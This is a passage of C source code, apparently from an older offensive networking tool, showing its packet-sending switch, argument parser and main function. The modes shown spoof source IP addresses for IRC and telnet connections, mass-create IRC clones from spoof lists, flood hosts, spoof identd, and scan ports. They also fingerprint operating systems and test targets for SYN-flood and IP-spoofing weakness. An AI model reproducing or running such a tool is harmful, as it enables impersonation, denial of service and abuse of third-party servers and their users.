  905.         sendtcp(&spoof,CF_SYN | CF_PSH,NULL,0,1,1);
  906.         break;
  907.       case 'a':
  908.         printf("Sending SYN/RST. port %d\n",sport);
  909.         sendtcp(&spoof,CF_SYN | CF_RST,NULL,0,1,1);
  910.         break;
  911.       case 'c':
  912.         printf("Sending fragmented SYN. port %d\n",sport);
  913.         {
  914.           short fragoffs[] = {0,24};
  915.           short fraglens[] = {24,8};
  916.  
  917.           sendtcpfrag(&spoof,CF_SYN,NULL,0,1,1,fragoffs,fraglens,2);
  918.         }
  919.       case 'd':
  920.         printf("Sending RSTs\n");
  921.         spoof.sport=1499;
  922.         spoof.dport=6665;
  923.         sendtcp(&spoof,CF_RST,NULL,0,10,1);
  924.         break;
  925.     }
  926.   }
  927. }
  928.  
  929. void parsearg(char *s, char *format, ...)
  930. {
  931.   va_list ap;
  932.   short d, *i;
  933.   char *p, *p1, ch;
  934.  
  935.   va_start(ap,format);
  936.  
  937.   while (*format) {
  938.     switch (ch=*(format++)) {
  939.       case '%':
  940.         switch (*(format++)) {
  941.           case 's':
  942.             /* Ok, we want the string, find the the char after it so we know */
  943.             /*  what to look for to end the string */
  944.             ch=*(format++);
  945.             if ((p=strchr(s,ch))==NULL)
  946.               p=strchr(s,0);
  947.   
  948.             p1=va_arg(ap,char *);
  949.             strncpy(p1,s,p-s);
  950.             p1[p-s]=0;
  951.             s+=(p-s);
  952.             if (*p)
  953.               s++;
  954.             break;
  955.           case 'd':
  956.             if ((d=atoi(s))==0) { 
  957.               if (*format == '[')
  958.                 d=atoi(format+1);
  959.             }
  960.             i=va_arg(ap,short *);
  961.             *i=d;
  962.  
  963.             if ((*format != '[') || ((p=strchr(format,']'))==NULL))
  964.               continue; 
  965.      
  966.             format=(p+1);
  967.             while (isspace(*s) && *s)
  968.               s++;
  969.  
  970.             while (isdigit(*s) && *s)
  971.               s++;            
  972.             break;
  973.         }
  974.         break;
  975.       default:
  976.         *s++;
  977.         break;
  978.     }
  979.   }
  980.   
  981.   va_end(ap);
  982.   return;
  983. }
  984.  
  985. /* The main function */
  986. void main(int argc, char *argv[])
  987. {
  988.   int i,i1,j,k,done,mode,numclones;
  989.   struct sockaddr_in host,shost;
  990.   unsigned short port,fport,spport,flags=0;
  991.   char s[81],*nickname,*gecos,*serverlistfn,*spooflistfn,*p;
  992.   char s1[81],username[16],spoofhost[81];
  993.  
  994.   init_tcpip();
  995.  
  996.   /* Unbuffer stdout and stdin */
  997.   setvbuf(stdin,NULL,_IONBF,0);
  998.   setvbuf(stdout,NULL,_IONBF,0);
  999.   
  1000.   /* If there aren't enough parameters, then show them the usage */
  1001.   if (argc<2)
  1002.     usage(argv[0]); 
  1003.  
  1004.   mode=0;
  1005.   for (i=1;i<argc;i++) {
  1006.     /* Check to see if we have an argument in the correct style */
  1007.     if ((argv[i][0]!='-') && (argv[i][0]!='/')) 
  1008.       usage(argv[0]);
  1009.  
  1010.     switch (toupper(argv[i][1])) { 
  1011.       case 'H':
  1012.         /* Check to see if this domain name has a port attached to it */
  1013.         parsearg(argv[++i],"%s:%d[7]",s,&port);
  1014.  
  1015.         /* Resolve the hosts IP # */
  1016.         if (resolve_host(s,&host)<0)
  1017.           exit(-1);
  1018.  
  1019.         mode=11;
  1020.         break;
  1021.       case 'A':
  1022.         if (resolve_host(argv[++i],&host)<0)
  1023.           exit(-1);
  1024.  
  1025.         port=atoi(argv[++i]);
  1026.         fport=atoi(argv[++i]);
  1027.  
  1028.         mode=8;
  1029.         break;
  1030.       case 'P':
  1031.         /* Check to see if this domain name has a port attached to it */
  1032.         parsearg(argv[++i],"%s:%d[7]",s,&port);
  1033.  
  1034.         /* Resolve the hosts IP # */
  1035.         if (resolve_host(s,&host)<0)
  1036.           exit(-1);
  1037.  
  1038.         mode=10;
  1039.         break;
  1040.       case 'S':
  1041.         /* Check to see if this domain name has a port attached to it */
  1042.         parsearg(argv[++i],"%s:%d[7]",s,&port);
  1043.  
  1044.         /* Resolve the hosts IP # */
  1045.         if (resolve_host(s,&host)<0)
  1046.           exit(-1);
  1047.  
  1048.         mode=3;
  1049.         break;
  1050.       case 'O':
  1051.         parsearg(argv[++i],"%s:%d[7]",s,&port);
  1052.  
  1053.         if (resolve_host(s,&host)<0)
  1054.           exit(-1);
  1055.  
  1056.         mode=4;
  1057.         printf("Checking Operating System of %s\n",getdomainname(host));
  1058.         break;
  1059.       case 'I':
  1060.         parsearg(argv[++i],"%s:%d[6667]:%d[7]",s,&port,&spport);
  1061.  
  1062.         /* Resolve the IRC server's IP # */
  1063.         if (resolve_host(s,&host)<0)
  1064.           exit(-1);
  1065.  
  1066.         /* Check to see if they have specified a nick/username/gecos combo */
  1067.         if (i<(argc-1)) {
  1068.           nickname=argv[++i];
  1069.           parsearg(argv[++i],"%s@%s:%d[4567]",username,spoofhost,&fport);
  1070.           gecos=argv[++i];
  1071.         } else {
  1072.           /* First make a random nickname and username */
  1073.           do j=random()%NUMFIRST; while (!j);
  1074.           do k=random()%NUMLAST;  while (!k);
  1075.           nickname=newname(j,k);
  1076.           strcpy(username,nickname);
  1077.     
  1078.           /* Then make the gecos */
  1079.           sprintf(s,"%c%s %c%s",
  1080.             toupper(*first[j]), first[j] + 1,
  1081.             toupper(*last[k]), last[k] + 1);
  1082.           gecos=(char *)strdup(s);
  1083.  
  1084.           /* And lastely the random IP # */
  1085.           sprintf(spoofhost,"%d.%d.%d.%d",rand()&255,rand()&255,rand()&255,rand()&255);
  1086.         }
  1087.       
  1088.         /* Resolve the spoof'd host */
  1089.         if (resolve_host(spoofhost,&shost)<0)
  1090.           exit(-1);
  1091.  
  1092.         /* Then print out some info */
  1093.         printf("Connecting to IRC server %s port %d\n",getdomainname(host),port);
  1094.         printf("Nickname:  %s\n",nickname);
  1095.         printf("user@host: %s@%s\n",username,getdomainname(shost));
  1096.         printf("Irc Name:  %s\n",gecos);
  1097.  
  1098.         mode=1;
  1099.         break;
  1100.       case 'T':
  1101.         /* Check to see if this domain name has a port attached to it */
  1102.         parsearg(argv[++i],"%s:%d[23]",s,&port);
  1103.  
  1104.         /* Resolve the host's IP # */
  1105.         if (resolve_host(s,&host)<0)
  1106.           exit(-1);
  1107.  
  1108.         /* Resolve the spoof'd host */
  1109.         if (resolve_host(argv[++i],&shost)<0)
  1110.           exit(-1);
  1111.  
  1112.         printf("Creating \"telnet\" connection to %s port %d from %s\n",getdomainname(host),port,getdomainname(shost));
  1113.         mode=2;
  1114.         break;
  1115.       case 'C':
  1116.         numclones=atoi(argv[++i]);
  1117.         if (i<(argc-1)) {
  1118.           serverlistfn=argv[++i];
  1119.           spooflistfn=argv[++i];
  1120.         } else {
  1121.           serverlistfn="servers.list";
  1122.           spooflistfn="spoofs.list";
  1123.         }
  1124.         printf("Creating %d clones using irc servers from file %s and ip's from\n",numclones,serverlistfn,spooflistfn);
  1125.         mode=5;
  1126.         break;
  1127.       case 'F':
  1128.         flags |= FL_FLOODHOST;
  1129.         break;
  1130.       case 'D':
  1131.         flags |= FL_SPOOFIDENTD;
  1132.         break;
  1133.       case 'W':
  1134.         flags |= FL_WAITIDENTD;
  1135.         break;
  1136.     }
  1137.   }
  1138.  
  1139.   /* Make up a random ip identification */
  1140.   srand(time(NULL));
  1141.   ipident=rand()%20000;
  1142.  
  1143.   /* If it's IRC, then connect */
  1144.   switch (mode) {
  1145.     case 1:
  1146.       connectirc(flags,host,port,nickname,username,shost,fport,spport,gecos);
  1147.       break;  
  1148.     case 2:
  1149.       connecttelnet(flags,host,port,shost);
  1150.       break;
  1151.     case 3:
  1152.       checksynflood(host,port);
  1153.       break;
  1154.     case 4:
  1155.       checkos(host,port);
  1156.       break;
  1157.     case 5:
  1158.       connectclones(flags,numclones,serverlistfn,spooflistfn);
  1159.       break;
  1160.     case 8:
  1161.       scanports(host,port,fport);
  1162.       break;
  1163.     case 10:
  1164.       checkipspoofable(host,port);
  1165.       break;
  1166.     case 11:
  1167.       checkport(host,port);
  1168.       break;
  1169.   }
  1170. }
  1171.  
  1172.